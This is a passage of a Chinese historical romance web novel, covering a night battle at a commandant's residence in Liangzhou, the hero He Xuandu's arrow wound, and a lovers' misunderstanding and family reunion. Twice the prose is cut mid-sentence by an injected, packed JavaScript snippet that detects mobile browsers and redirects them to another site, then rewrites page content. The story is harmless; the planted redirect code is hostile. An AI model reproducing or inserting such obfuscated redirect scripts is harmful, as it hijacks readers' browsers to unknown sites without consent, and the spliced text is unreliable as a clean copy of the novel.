“也没什么,就是趁着他这些日子用药的时候,找人将一些小东西加了进去,让他这辈子都难抬起头来。”贺玄度话锋一转,“不过,也不是不能治,只是需要对症下药。这个对症下药的意思,就是即便是神医,不知道下了什么药,也难根治。” 一旁蒙面之人在旁提醒道:“郑刺史,别信他。这些日子以来,刺史府被围得铁桶一般,他根本没机会动手。” 贺玄度暗自焦急,眼下这个情况,若他奋力,确实可以勉力突围。可是这些侍卫呢,他们又当如何? 还有柳舜华,也不知道她那边如何,有没有说动那些人? 他必须争取时间尽量拖延,他不能让柳舜华失望。 然而他面上却一派悠然,“郑刺史,信不信由你。不过这可是关系到你们家族延绵的大事,你可要想好了。” 郑刺史稍一迟疑,“都给我听好了,活捉贺玄度,其余人等,格杀勿论。” 贼军们得了令,一涌而上。 突听一声高喊,震破云霄,“贼子乱国,兄弟们,这个郑不死的害咱们落草为寇,杀敌的机会来了,跟他们拼了。” 柳舜华带着程三他们及时赶到。 贼军们不妨竟还有人,一时措手不及,被冲得四散开来。 程三他们的加入,让战局有了一些新变化,许是知晓没有退路,他们一个个卯足了劲,越杀越猛。 贺玄度终于抽出手来,他杀到程三身旁,低声快速说道:“擒贼先擒王,他不防你,先去将他擒了。” 程三虽不认识贺玄度,但见他举止镇定,说得十分在理,当即点头,直奔着郑刺史而去。 贺玄度厮杀的间隙,不住地张望,终于在混乱的人群中发现了柳舜华的身影。 她跟在狱卒的身后,拿着一把大刀,尽管双手不住地颤抖,却紧紧握着,费力地自保。 她那一双手,纤细而柔弱,本可在闺阁中悠闲地描眉簪花,如今却要握住长刀,周旋在贼军之中,随时都可能丧命。 她明明怕得要命,却还是留了下来。 火光中,她的脸被映得通红,额头上溅了一片血,像极了暮落的朱槿,温柔又炙热,顽强又不屈。 这一刻,贺玄度心中只有一个念头。 她绝不能死在这! 贺玄度举起长枪,一路杀过去,伸手拉住她的手腕,将她护在身后。 柳舜华猛地被一个强有力的大手拉过,遽然一惊,抬头见是贺玄度,话还未说出口,泪已是先流了下来。 真好,有贺玄度在,她什么都不怕了。 贺玄度虽要护着柳舜华,不好施展,但郑刺史曾发话,要活捉贺玄度,是以他也不至于成为靶子。 夜色深浓,久攻不下,郑刺史已没了耐心,他暴怒:“给我放火,烧了都尉府,一个都不要放过。” 话音方落,他还未及转身,只觉颈上一片冰凉。 程三趁人不备,杀到后方,将刀架在郑刺史的脖子上。 他身法奇快,便是贺玄度都忍不住在心内赞叹。 郑刺史吓得浑身发抖,“你……你要干什么?” 程三一声冷笑:“让他们停下来,撤出去。” 郑刺史硬声道:“做梦,今晚你们一个都跑……啊……” 程三手上一狠,郑刺史脖子上顷刻血流如注。 郑刺史见他来真的,不敢再硬气,慌道:“退退退,都给我退出去。” 贼军一听,相互看了一眼,缓缓向后撤。 “不能退,都尉府勾结匈奴作乱,火烧都尉府,你们便是镇压乱贼的功臣。退了,你们将再无出头之日。郑刺史,您为国捐躯,事后我们自然会记得您的功劳。” 浑厚的声音从贼军中传出。 人群中很快传来附和声,“没错,兄弟们,立功的机会就在眼前,不能就这么放弃了。” “过了今晚,咱们就都是功臣,不能退缩。” 一石激起千层浪,一番权衡利弊,方才还纷纷撤退的贼军,像打了鸡血一样,重新厮杀起来。 郑刺史两眼一黑,骂道:“刑风,你个狗东西,你敢……” 厮杀声很快将他的声音淹没,双方又缠斗在一起。 程三咒骂两句,一把将郑刺史推开,转身朝着贼军杀去。 贺玄度拉着柳舜华,奋力躲闪。贼军杀得正酣,没人再去管郑刺史先前的话,贺玄度也渐渐支撑不住。 箭矢破空,无数支带着火焰的箭朝着众人射去。 一支箭朝着柳舜华射去,她正挥刀砍向贼军,根本躲闪不及。 “小心。”贺玄度及时将她推开。 程三也杀到柳舜华身边,“柳小姐,你怎么样?” 柳舜华摇摇头,“无事,你不用管我。” 乌云遮月,天穹一片黑暗,像是个巨大的黑洞,随时要将人吞噬。 正厅前的匾额被射中,轰地一声落地,烧了起来。 柳舜华看着贺玄度,握紧了他的手。 这次她感受到了,他的掌心,温暖炙热。 前路未卜,可她却丝毫无惧,哪怕重活一世,哪怕一样葬身火海。 她方想张口,却听贺玄度轻声道:“快来了。” 柳舜华诧异道:“什么,你说什么来了?” 话音方落,只听咚咚咚的脚步声渐渐逼近,外头的贼军像见了鬼一样,不断后退。 柳舜华不知发生了何事,紧盯着门外。 片刻后,一队身穿盔甲的将士涌了进来,紧接着一个高大的身影出现在眼前。来人身穿甲胄,身姿英武,双目囧囧,宛若天神。 柳舜华惊喜万分,竟是万都尉。 “都尉,都尉。” “都尉回来了!” 侍卫们纷纷激动高呼。 郑刺史脸色发白,嘴里不停嘟囔着:“怎么可能,怎么可能?” 贼军抵挡片刻,见大势已去,纷纷放下武器,一个个举起手乖乖缩在角落里。 万都尉的精兵很快将贼军团团围住,余下众人忙着去救火。 天边乌云散尽,天幕下露出薄光。 厮杀声渐渐止息,侍卫们拼杀了一夜,一个个跌坐在地上。 程三双手一抖,手中的长刀应声落下。 今夜,总算是要过去了。 柳舜华望着走来的万都尉,看着贺玄度,声音哽咽,“贺玄度,太好了,咱们都还活着。” 贺玄度却没有回答。 柳舜华觉出一丝不寻常,拉着他的手臂,柔声道:“贺玄度,你怎么了?” 黏腻温热的触感让她浑身一颤,她翻过手掌,掌心一片猩红。 她转过头一看,整个人僵在原地 贺玄度背上竟插了一支箭。 贺玄度脸色煞白,朝着她笑了笑,头一歪,倒在她的 40. 第 40 章 柳舜华头痛欲裂,猛然惊醒。 前尘往事梦一般在脑海中飘过,相府那场染红半边天的大火,都尉府漫天的厮杀,还有贺玄度浑身是血地倒在她面前…… 她睁大双眼,呆呆地望着陌生的床榻,一时不知身在何处。 “柳小姐,您醒了?” 柳舜华怔愣地看着眼前的侍女,一脸茫然。 侍女笑了笑,“柳小姐,这里是都尉府。万都尉已经将贼人全部擒获,眼下安全得很,您不用担心。” 柳舜华缓过神来,急切道:“贺玄度呢,他怎么样?” 侍女拿了准备好的衣物,递给柳舜华,“柳小姐不用急,贺公子好着呢。” 柳舜华却根本不信,“怎么可能,他明明中了箭的。” 侍女低头笑了一下,“都尉已经请人帮贺公子医治,箭上无毒。公子身体好,往日里比这更重的伤都有呢,如今这个伤势,只需休养个五六日便能恢复。” 柳舜华听她说并不严重,才稍稍安心。 才换好衣裙,还未出门,便见有人一头扑在她怀里,上气不接下气地哭了起来。 “姐姐,我以为……我……” 柳舜华心疼地摸着柳棠华的头,“好了,别哭了,姐姐这不好好的。” 侍女见她们姐妹相聚,很识趣儿地退了出去。 柳棠华慢慢从她怀里起来,肩膀尤自颤抖,委屈地擦着泪。 柳舜华抚着她的肩膀,问道:“你怎么会在这,你们没有出城?” 柳棠华吸了吸鼻子,“一出城我们便碰到了吴江他们,我就慌忙叫住他,告诉他都尉府有难。” 柳舜华道:“吴江是谁?” 柳棠华:“就是咱们遭遇贼匪那次,那个给我讲故事的。” 柳舜华有些印象,当初她们离开时,那个站在前排,红着眼的小兵。 “可是,万都尉怎么可能这么快从前线赶过来?” 柳棠华抬头道:“万都尉一直都在城外。” 柳舜华愕然,万都尉没去前线对付匈奴骑兵。 柳棠华张了张嘴,犹豫一下,还是说道:“姐姐,还有一事我觉得有些奇怪。” “我们找上万都尉,方说了都尉府的情况,便看有人慌慌张张地赶了过来报信。你猜,来人是谁?” 柳舜华凝眉道:“我认识?” 柳棠华点头,“对,就是醉月居那个摇骰子的舞姬,唤作金芝。” 柳舜华整理着脑中散落的碎片:醉月居,舞姬,郑充被打,范神医,匈奴奇兵,程三他们被关在都尉府地牢…… 将所有的线整理好,她好像明白了什么。 万都尉在下一盘大棋。 “姐姐,你在想什么,是不是也觉得那个舞姬出现得太巧了?”柳棠华眨着眼问道。 柳舜华不想让她牵涉太深,转头问:“外祖他们都还好吧?” 柳棠华笑了起来,“外祖他们都挺好,就是表哥们不怎么好。遇到万都尉后,外祖才知姐姐并没有出城,对着表哥们骂了一晚,他们一个个愧疚得一晚上没敢合眼。” 柳舜华笑出声来,“你先回去,让他们别担心,我处理好一些事,稍后便回去。” 柳棠华撇着嘴,“姐姐,你还要在这里多久啊?” 柳棠华摸了摸她的脸,“很快。” “柳小姐,现下都已过了午时,饿坏了吧?”方才的侍女端着个小锅走了进来。 她身后紧跟着两个侍女,手里皆拿着小碗,并一些调味之物。 柳棠华一看,睁大双眼,都尉府用膳也太体贴了点。 侍女将锅放下,掀开锅盖,锅内羊汤还在咕嘟咕嘟地翻滚,热气瞬间飘散,一股肉香迎面扑来。 她拿过碗,盛了一碗满是羊肉的汤,夹了些葱花,撒上一层胡椒,递给柳舜华。 “表公子说,柳小姐喜欢羊肉汤,我便一早让人备下了。虽说如今天热了起来,但小姐连日辛劳,喝点汤发发汗,补一补也是极好的。” 自昨日起,柳舜华便忙于奔波,这会是真饿了。 她接过羊肉汤,喝了几口,眉头微微一动。 这味道,同在长安与贺玄度吃的那家几乎毫无二致。 她疑道:“贺玄度已经醒了?” 侍女笑道:“表公子身体好着呢,今晨便醒了。听说您受到惊吓晕倒了,爬着要过来看您呢,被范神医死活给按住了。” 说完看了一眼羊肉汤,又道:“他怕您醒来饿着,让我备了您喜欢的羊肉汤,说要用鱼汤熬制打底,羊肉要选羊腿肉,还要炖得烂烂的。” 柳棠华听得目瞪口呆,她听说贺玄度背上中了一箭。人都这样了,还不忘亲自叮嘱吃食。 柳舜华匆匆将手中的喝了个精光,一转头,见柳棠华盯着锅,口水都快流了出来。 她笑了笑:“是我疏忽了,忘记你也没吃。这样吧,你也不必急着回去,先在这吃了汤,稍后咱们一起回。” 侍女听到,即刻盛了汤端给柳棠华。 柳棠华得了汤,深吸了一口气,也不要汤匙,就着碗喝了一大口,这才满足地放下,“姐姐,你是去要看贺公子吗?” 柳舜华脸上微红,咳了一声,揉了揉头,“贺玄度先是帮忙救出了表姐,又替我挡了一箭,论理说我……” 柳棠华压根不关心这些,摆摆手道:“姐姐你去吧,我在这喝着汤等你回来。” 贺玄度躺在病床上,背上的伤疼得他根本无法安眠,只能拿着一根小木棍,在地上画了个圆,看着蚂蚁在圈内费劲巴拉地跑来跑去。 都尉府上下都在忙着清理烧坏的房屋,安抚受伤的侍卫,舅舅又在审问郑刺史。他一个人傻躺着,不免觉得无聊。 他突然想起在相府被打后,也是这般无趣,多亏了柳舜华送他竹节人打发时间。只是可惜,竹节人被他留在了相府。 一会走神的功夫,地上的蚂蚁很快便要逃离,他忙举着木棍,试图重新划分疆域。 一袭雪青流云锦绣裙扫过地面,停在木棍旁。 贺玄度顺着衣摆朝上一看,喜道:“柳舜华,你醒了?” 柳舜华垂头看了眼木棍,眉头蹙了一下,很快又舒展开来。 贺玄度顺手将木棍丢在一边,献宝似的问:“羊肉汤你喝过了吗,怎么样,是不是和在长安喝过的一样?” 柳舜华嘴角翘起,“你对吃食,还真是独到。只喝过那么一回,就能猜到别人家的配方。” 贺玄度默然一笑,哪里是他天赋惊人,不过是后来去吃得多了,同店铺老板聊得多了,慢慢就知道了配方。 柳舜华靠过去,寻了个离病榻近点的地方坐下。 “你感觉怎么样,还疼吗?” 贺玄度笑道:“就这一箭,还伤不了我,放心吧,我好着呢。” 柳舜华想起侍女的话,看着他的后背,轻声道:“你此前也常受伤?” 贺玄度垂下眼眸,苦笑一声,“你不知道,我有几年没在丞相府,而是跟着舅舅在这生活。舅舅这个人什么都好,就是管得格外严。他自己是武将,要日日早起晨练,便逼着我也跟着他一起练。我吃不得苦,每次都偷懒,几年下来虽练得不上不下,但若遇贼人,还是能勉强应付一下。” 柳舜华知道他曾在凉州生活,只是因他断了腿,从没想过他还会功夫。 昨日打斗之时,她虽过去得晚,并未瞧见贺玄度与刺史府的贼军厮杀,但他护着她杀敌那架势,绝不像是花拳绣腿。 柳舜华心中隐隐有些猜测,但转头看到扔在地上的木棍,又不禁觉得好笑。 她想了想,“你这么躺着是不是有些无聊,等我回去,再做个竹节人给你玩如何?” 贺玄度一听,竹节人果然是她自己做的,心里当即暖暖的。 他的确有些无聊,但昨日一场混战,柳舜华此时必定也是劳累至极。 他换了个姿势,让自己趴得更舒服些,“先不用,我这会手上无力,做了怕也是让你白费功夫。” 柳舜华点头:“也行。” 日光透过窗子照在贺玄度的脸上,他脸色尤有些泛白,整个人看起来冷浸浸的,额前几缕发丝散乱落下,眼中带着 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14984280|159472||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 几分淡淡的懒意。 因在病中,他也没那么多讲究,褪去素日里花里胡哨的锦衣,只穿了件素袍。这样安静又淡然的模样,与前世毫无分别。 柳舜华双眼迷离地盯着这张脸,仿佛又看到他坐在亭边轮椅上,风吹过莲池,撩动他的衣襟,手中的书卷倏忽翻了一页。 这样的贺玄度,她许久未曾见过了。 贺玄度觉察到她的目光,抬起头来。 他能感觉到,她的的确确是在看他,可不知为何,眼神中却是化不开的失落与哀伤。 贺玄度不明白,她为何突然这么看他,明明就在昨日,他们才一起经历生死。 这个眼神,让他很不舒服。 有那么一瞬,他甚至觉得,昨日他们经历的一切不过是过眼云烟。 他本就在病中,莫名有些胸闷,再仰起头,声音中多了几分疏离和冷淡,“你到底在看什么?” 柳舜华恍然回神,不解地看着贺玄度,这人怎么好端端的突然就生气了。 细细一想,许是他受了伤的缘故,躺在病床上有些憋屈,心中难免有些火气。 她知他心里不畅快,也不跟他计较,只是朝着他笑了笑,“你别急,范先生医术了得,过几日你便能下床了。” 贺玄度心下愈加不满。 她岔开话题,可见心虚。 等了片刻,柳舜华还是没有多余的解释。 他忍不住抬起头,闷闷地问:“柳舜华,你为何要过来?” 柳舜华没有听清,凑近道:“你说什么?” 贺玄度看着她的眼睛,“我说,都尉府如何与你何干,你为何要跑过来,你为何要留下?” 她明明可以走的,可却选择留下陪着他。 他一度以为,她对他是不同的。 可方才她的眼神…… 为何要留下? 柳舜华默默想着,因为他是贺玄度啊,那个不管她愚蠢无知还是浑浑噩噩,都不曾轻看她,一心想要将她拉出泥沼的人。 她咬着唇,不知如何开口,看着他背上的伤,反问道,“贺玄度,那你呢,为何要替我挡那一箭?” 贺玄度一愣,见她三番两次转移话题,赌气道:“你不顾危险跑来告知详情,我自然要护你安全。莫说是你,便是随便任何人,我都一样会护着她。柳舜华,你以为我为你挡了一箭,就可以任由你戏弄?” 柳舜华有些怔愣,只是,因为这样? 她以为,贺玄度对她,是不同的。 天地一片昏沉,她满脑子只听到贺玄度方才那句:换作任何人,他都会一样。 没错,他本来就是一个良善之人,在他眼里,她与其他人并无任何分别,他对她并无多余的心思。 一瞬间,柳舜华羞愧万分,她误会了贺玄度的心思。 她以为,她是在帮他,殊不知却为他带来困扰。 若是没有她,贺玄度照样能坚持到万都尉赶过来,而且也不会受伤。 见她垂眸不语,贺玄度方觉他的语气重了些,他缓声道:“你还没说,为什么留下。” 她心慌意乱,攥紧双手,努力让自己看起来镇定从容,生怕他看出自己幽暗的心意。 “万都尉此前帮过我,你又帮忙救出了我表姐,于情于理,我都应该这么做,不然岂不要良心难安。” 贺玄度神色一变,连声笑道:“好,好,好得很。” 贺玄度一向爱嬉笑玩闹,偶尔生气,也只是像炸毛的小狗一般,只要顺着他,便能让他消气。可今日,不知为何,他虽是笑着,眼中却满是冷意,整个人更像一头隐藏怒气的狮子。 柳舜华茫然无措,不知道她究竟说错了什么。 屋内瞬间安静下来,风似乎被遏住了,贺玄度心内躁热不已。 他转过脸,不再看她,静静地望向窗外,半张侧脸冷淡而疏离。 他这个眼神,明明像极了前世那个她熟悉的贺玄度,柳舜华心上却没由来一阵恐慌。 她下意识想握紧双手,却感觉有什么东西,轻飘飘的,正从她指尖流失。 41. 第 41 章 “从昨晚忙到现在,终于得空……” 万都尉踏进来,看到两人,一个躺在床上生着闷气,一个坐在榻上一脸茫然。 柳舜华见是万都尉,起身施礼。 万都尉虚扶一下,正色道:“柳小姐,实在是太见外了。这次多亏了你们,不然,都尉府危矣。” 柳舜华忙道:“哪里,万都尉运筹帷幄,我不过是做了凉州百姓应该做的而已。” 万都尉爽朗一笑,“你这丫头,就是心思活。” 柳舜华看了一眼贺玄度,“既然万都尉有事,那我就先不打扰了。” 说罢,便起身走了出去。 等她出了门,万都尉瞪了贺玄度一眼:“人都走了。你这个臭小子,是不是又说了什么不着边的话,把人给气着了。” 贺玄度嘴硬道:“她走不走关我什么事?” 万都尉指着他,“你就作吧,这么好的姑娘,错过了可就真没了,你后悔都没地方哭。” 贺玄度悻悻垂头,“没了就没了,反正她也不在乎我。” 万都尉就势坐下,“你是不是整日装纨绔装得脑子都不好使了?明眼人都看得出来,柳姑娘有多看中你。她如果不拿你当回事,会不顾危险地跑来给你通信?” 贺玄度抬头看了一眼万都尉,哼了一声,“那是此前您救过她,她感恩您,才跑来帮都尉府。” 万都尉听他阴阳怪气,一巴掌就要落下去,想着他受了伤,终是停住了。 “她若是只感激我,大可告信之后自行离去。还有,方才我过来之时,可是瞧得真切,人家一门心思都在你身上。” 贺玄度嘴角含笑,往万都尉那边挪了一下,“真的?” 万都尉瞧他笑得都裂开了的嘴角,嫌弃道:“你瞧瞧你,哪里有平日里杀伐果决的样子,和你纨绔时候的蠢样没什么分别。” 他叹了一口气,“有时候我就想,你这纨绔装久了,到底是好还是不好?别装到最后,真成了个纨绔才好。” 贺玄度漫不经心道:“真纨绔也好,假纨绔也罢,不过是为达到目的戴的一张面具而已。其实,当个纨绔也没什么不好,自在随心,别人怎么看,随他们去。只要……” 万都尉问:“只要什么?” 贺玄度没有说下去,而是问:“舅舅,郑刺史那边怎么样了?” 万都尉眉头一皱,“他虽是个软骨头,但毕竟还有个儿子在,估计是受制于人,只招认他与匈奴勾结,妄图诬陷于我,却始终不肯承认是彭城王指使。” 贺玄度想了一下,问:“那伙贼匪呢,有没有拷问?” 说到这个,万都尉又靠近些,“多亏你耳朵灵,听到那贼首的名字,他虽趁乱跑了,但到底不是毫无收获。” 贺玄度问:“他们是什么人?” 万都尉一笑,“我们根据那个叫刑风的,威逼利诱了一些胆小怕事的喽啰,顺藤摸瓜,查到他们是千机阁的人。” 千机阁,江湖上的杀手组织。传闻阁中杀手个个功夫了得,手段狠厉,这些年没少在江湖中引起争端。 千机阁也是彭城王的暗中势力,可见其野心。 彭城王不但勾结匈奴,妄图诬陷都尉府,竟还私养死士,这次绝对是一个将他拉下马的好时机,只是郑刺史…… 贺玄度猛然抬头,问道:“郑充人怎么样?” 万都尉叹声道:“晚了,咱们的人赶到刺史府的时候,他已被人带走。” 这下麻烦了,郑刺史最看重他这唯一的儿子,只要千机阁控制着郑充,他绝不会轻易招认。 贺玄度揉揉头,“郑充被人带走,那刺史府的证据应该也没有留下。千机阁的人,动手还真是快。” 万都尉点头,“真是没想到,这群贼匪是千机阁的人,难怪当初下手这么狠。郑列这厮,也太狠了些,完全不顾下面百姓的死活。” 贺玄度冷笑一声,“匈奴都能勾结,这点又算什么?若不是当初舅舅觉察出匈奴动机不纯,留了曹护军顶着,这会都尉府已经是尸山血海了。” 万都尉握紧拳头,“当初我只是以为刺史府掌握了匈奴的动向,妄图抢在我前面出击,夺取功劳,没想到……这个郑列,我还真是高看他了。” 他看着贺玄度背上的伤,有些心疼,“只是为了这出戏,将你陷入险地,还害你受了伤。这次,当真是惊险,幸亏此前留下那些假贼匪,勉强抵挡片刻,不然……还真是后果难料。” 贺玄度道:“的确,他们杀敌都是一等一的好手,尤其那个程三,沦为贼寇实在可惜。” 万都尉想了一下,说道:“那些假贼匪御敌有功,又多受了伤,我已经安排医治了。等你伤好了,不如替我想想,怎么安置他们。” 贺玄度为了等柳舜华,一直没合眼,这会已是有些倦了,懒洋洋地打了个哈欠,“好,舅舅安心处理郑列之事便好。” 万都尉拍了拍他的肩,“你先好好休息,郑列那边有我。” …… 柳舜华一路郁郁,满脑子都是贺玄度方才冷冷的神情,上马车时险些跌倒。 柳棠华及时扶住她,“姐姐,是不是贺公子情况不太好,怎么你看完他就恍恍惚惚的?” 柳舜华木然地上了车,眼睛盯着都尉府的大门,“他无事,只是……是我多事,让他有了困扰。” 柳棠华挠挠头,“什么多事,困扰的?你是不知,贺公子有多紧张你。你昏睡之时,贺公子每隔一阵子便让人回禀一次,生怕你有个好歹。” 柳舜华心内酸楚,“那是因为我去报信,换做其他人,他也一样。” 柳棠华撇撇嘴,“姐姐,我原以为你是聪明的,怎么也这么糊涂?贺公子待你如何,有眼睛的都能看到。自来了凉州,他又是帮忙对付郑充,又是帮忙救表姐,还替你挡了一箭。你瞧着方才,怕你饿着,锅都给你端了上来,怎么能说和其他人一样呢?” 柳舜华扑哧一笑,这丫头,扯来扯去,总是能扯到吃上。 柳棠华凑过去,笑道:“姐姐,你平日不这样的,怎么今日患得患失的?我发现,一碰上这个贺公子,你就有些不太像你了。” 柳舜华细细思索着柳棠华的话,想起贺玄度素日待她的好,也觉方才的反应委实有些过了。可当时一看到贺玄度冷脸,她茫然又委屈,情绪不受控制,根本由不得自己。 她沉下心来,不能仅凭今日一句话,就否认了贺玄度的心意。即便他对她没有多余的心思,也绝不至于会厌恶她。贺玄度受了伤,急躁一点也在所难免。如此安慰自己,才渐渐顺过气来。 回到家中,外祖一把拉过她,不停落泪。 舅舅、舅母与两个表兄妹过来劝慰半日,方才止住。 正厅内,外祖脸色凝重,“你这丫头,怎么这么大的事,也不跟家里面的人说一下。这么危险,若是万一……” 外祖说着,想起昨日的惊险,想起柳舜华过世的母亲,又垂泪不止。 舅舅跪倒在地,“爹,都怪儿子不中用。但凡我有些能力,怎么会让茵儿受这些苦,让蓁蓁冒这个险?” 舅母也跟着跪下,“我也有错,我去刺史府几趟,没能看出茵儿她在受着折磨,我对不起孩子们。” 表兄妹一看,也跟着要跪下。 外祖看着众人,颤声道:“都给我起来,这么跪着,成何体统。” 陈茵早哭成了个泪人,却不敢出声,只是默默地流泪。 外祖看着陈茵,好好一个姑娘,如今瘦得皮包骨头,一颗心像被刀滚过一样。 “茵儿啊,都是祖父的错,祖父对不起你,把你嫁到那个虎狼窝里……” 陈茵走过去,跪在外祖身边,“祖父,您这样说,孙女真是要愧死。您都是为我好,一心想我嫁个好人家,是那郑氏父子狼子野心,怎么能怪您呢?” 外祖忙扶起陈茵,“你身子弱,快起来。” 柳舜华走过去将表姐扶到椅子上,朝着众人笑道,“今天是个大好的日子,家里人都团团圆圆的,那些不好的事,都过去了。舅妈,我饿了,今晚咱们早些吃个团圆饭,可好?” 外祖擦了眼泪,“蓁蓁说得对,咱们就不要去想过去那些乌糟事了。今晚,就开开心心地吃个团圆饭。” 舅妈“诶”了一声,“我这就去准备。” 待众人散去,外祖单独留了柳舜华问话。 柳舜华心虚,乖乖站着一动也不动。 许久,外祖才叹一口气,指着她道:“你这个犟脾气,和你母亲一个样。一旦决定的事情,十头牛都拉不回。你倒是好了,独自一人去都尉府逞你的英雄,可你有没有想过,万一你出了事,外祖怎么能安心,你舅舅舅母,表姐怎能安心?” 柳舜华作势要跪,外祖瞪了她一眼,“你给我好好站着。” 柳舜华上前,拉着外祖的胳膊,“外祖,我错了,我下次再也不敢了。” 外祖拉开她的胳膊,“你别嬉皮笑脸,我问你,你同都尉府的表公子是怎么回事?” 柳舜华一愣,没想到外祖竟知道了贺玄度。 她垂下头,心虚道:“没怎么回事啊?就是来凉州的路上,我们遇到了一点小麻烦,恰好遇到万都尉,万都尉帮了我们。小时候,您不是常教我,滴水之恩,涌泉相报的嘛。我就想着,都尉府有难,我不能袖手旁观,就回去报信啊,谁知道刺史府的人动作那么快,围住了都尉府,我想出来也出不来啊。” 外祖皱眉,“我问你贺公子,你这啰啰嗦嗦地说这些做什么?” 柳舜华摆手道:“外祖,我同贺玄度也没那么熟,真的没什么关系。” 外祖狐疑道:“不熟,我怎么听莹丫头说,他还帮忙救茵儿出来呢?” 柳舜华:“那是他和郑充有仇。” 外祖想了一下,“那替你挡箭是怎么回事?” 柳舜华道:“那是他人好。” “如此说来,这贺公子当真是个不可多得的好男儿。”外祖点头,思忖片刻,缓缓道:“这样,待他伤好了,我要备礼登门道谢。到时,你同我一起。” …… 因此前柳舜华姐妹睡着陈茵旧日闺房,晚间休息时,她便同妹妹陈莹挤在一起。 陈莹心疼姐姐受的苦,更因误会姐姐而羞愧,巴不得同她睡在一起,好好安慰。 刺史府一事尘埃落定,陈茵明显松快下来。几人起初为照顾她的情绪,讲话还有些小心翼翼,陈莹与柳舜华拼命回忆一些旧日趣事,试图去逗陈茵开心。 刺史府之事虽告一段落,但陈茵心上的伤却是丝毫不减,一直垂眉低眼。 陈莹看在眼里,劝慰道:“姐姐,刺史府那种狼窝你都能逃出生天,这是大造化。今后,福气在后头呢。” 陈茵勉力一笑,“什么造化,福气的,只要不丢陈家的脸,我已是感恩戴德。” 陈莹眉头一凝,“姐姐这是说的什么话,你能回来,家里人不知道有多高兴。外人说什么,由他们去,你回家吃的是陈家的饭,与他们何干。” 陈茵垂下头去,“可我到底是嫁出去的女儿,若是一直留在这,受人指点非议,让弟弟们如何娶亲?” 柳舜华心上一颤,表姐没有说“家”,而是说“这里”。 她想起了前世,嫁入相府后,她何尝不是这样的心思。 柳棠华摇摇头,“表姐不对,这里也是你的家啊。表兄个个都是明理之人,怎么会在意这些?我兄长就说过,若是我不嫁, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14992100|159472||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 他养我一辈子。” 陈茵摸着她的头,小丫头当真天真得紧,哪里知道人言可畏呢。即便是没有这些流言蜚语,往后漫长岁月里,亲近的人终会迎来更亲的人,一步步慢慢来替代她。她不想,成为任何人的阻碍。 她低头沉默片刻,缓缓道:“我想,搬出去住,顺便做点营生养活自己。” 陈莹悻悻道:“姐姐干嘛要出去,出去后能做什么?” 陈莹抬头,毫无生机的脸上突然有了光彩,“我在家时便擅厨艺,刺史府几年也没少伺候那对挑剔的父子,此前我就一直想着,若是有朝一日能摆脱刺史府,便出去自力更生,外面天地广阔,总有我的容身之地。” 原本柳舜华还有些忧心表姐受此打击,会一蹶不振,没想到她会有此打算。表姐被刺史府磋磨多年,却还能如此清醒,提早便为以后的生活铺路,不由对她心生敬佩。 柳舜华极力支持道:“表姐,我觉得你说得对。我这里还有些多余的钱财,咱们这几天就可以去看铺子。” 她知晓,表姐从刺史府出来,什么都没有带。如今刺史府被封,昔日那些东西,怕是要充公。舅舅这边又没有什么多余的钱财,两个表兄又渐渐大了,往后花钱的地方多着呢。她来凉州时,正好带着贺玄度此前送的金饼。 陈莹有些不解地看着柳舜华,“我姐姐她才……,即便是要自力,眼下也未必是好时机,总归是太急了些。” 柳舜华却劝道:“但凡做了决定,最忌犹豫不决。我知道你在担心什么,一是流言蜚语,一是往后的出路。流言这种东西,大多只是一阵,等什么别的新鲜事出来,谁还会记得。至于出路,我小时候跟在表姐后面长大,表姐的手艺,我比谁都清楚。” 一番话说到了陈茵心坎里,她眼中含着泪,“蓁蓁,你不但帮我逃了出来,还这么支持我,我都不知该如何感谢你……” 不等柳舜华回应,柳棠华便笑道:“表姐,我姐姐是拿你当亲姐姐看的,你说感谢,可就显得生分了。” 陈茵跟着笑了起来,看着柳棠华道:“我算是知道你姐姐为何来凉州也要带着你了,你这个小甜豆,真是让人喜欢。” 陈莹哼了一声,“姐姐,你夸她不夸我,我也可甜了呢。” 柳舜华指着墙上的鞭子,笑得捂住肚子,“你还甜,你啊,就是个小辣椒。” 众人忍不住,都跟着笑了起来。 气得陈莹从床上爬起来,上去就要抓她,几人打打闹闹,刺史府带来的阴霾很快散去。 这一夜,柳舜华睡得格外香甜。 夜深人静,更漏声声,贺玄度趴在榻上,毫无睡意。 想起舅舅白日里说的那些话,他满脑子都是柳舜华那日说要留下时决绝的眼神。 他们一起经历了生死,好不容易才活了下来。本该有劫后余生的欣喜,如今却莫名其妙地相互置气。 他越想越后悔。 自相识以来,柳舜华待他如何,他不是不知,怎么就一时忍不住对柳舜华冷脸了呢? 柳舜华那眼神,也许并没有什么多余的意思,也许她只是刚好想起了什么,有些走神罢了。而且他当时状态并不大好,昨夜范神医施刀折腾了半夜,白日里又未曾好好休息,也许眼花看岔了也不一定。 不过是一个不值一提的眼神而已,自己几时竟变得如此小气。 如今冷静下来,细细一想,他当时的确有些无理取闹。 柳舜华当时一定生气了,所以走的时候都没有回头再多看他一眼。 越想越不安。 万一柳舜华也像他一样,气得翻来覆去睡不着,会不会从此就不再理他。 “成松,成松。”他喊了起来。 成松方迷迷糊糊地睡着,便被嚎醒,以为出了什么大事,从外间跑了进来。 “公子,怎么了,可是伤口……” 贺玄度打断他,“明日一早你马上去一趟陈家。” 成松睡眼惺忪:“哪个陈家?” 贺玄度嫌弃道:“就是柳舜华她外祖家啊,此前不是让你暗中调查过。” 